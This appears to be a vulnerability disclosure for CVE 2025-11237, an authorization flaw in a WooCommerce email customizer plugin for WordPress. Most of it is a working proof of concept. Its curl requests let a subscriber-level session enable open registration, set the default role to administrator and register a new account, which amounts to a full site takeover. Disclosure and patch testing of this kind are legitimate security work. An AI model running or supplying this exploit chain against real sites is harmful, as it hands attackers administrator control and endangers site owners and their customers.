Make Email Customizer for WooCommerce <= 1.0.6 – Subscriber+ Arbitrary Options Update | CVE 2025-11237

Description

The plugin lacks proper authorization checks and option validation in its AJAX actions, allowing any authenticated user, such as a Subscriber, to update arbitrary WordPress options.

Proof of Concept

Replace <TARGET> and <SESSION_COOKIE> before running.

1) Enable public registration
curl -i -X POST "<TARGET>/wp-admin/admin-ajax.php" \
  -H "Cookie: <SESSION_COOKIE>" \
  --data "action=save_meta&field_name=users_can_register&field_value=1"

2) Set default role to Administrator
curl -i -X POST "<TARGET>/wp-admin/admin-ajax.php" \
  -H "Cookie: <SESSION_COOKIE>" \
  --data "action=save_meta&field_name=default_role&field_value=administrator"

2b) Alternative action (if exposed)
curl -i -X POST "<TARGET>/wp-admin/admin-ajax.php" \
  -H "Cookie: <SESSION_COOKIE>" \
  --data "action=ec_save_option&field_name=default_role&field_value=administrator"

3) Verify (fetch General Settings page)
curl -i -X GET "<TARGET>/wp-admin/options-general.php" \
  -H "Cookie: <SESSION_COOKIE>"

4) Register new user (example)
curl -i -X POST "<TARGET>/wp-login.php?action=register" \
  --data "user_login=poctestuser&user_email=poctestuser@example.com"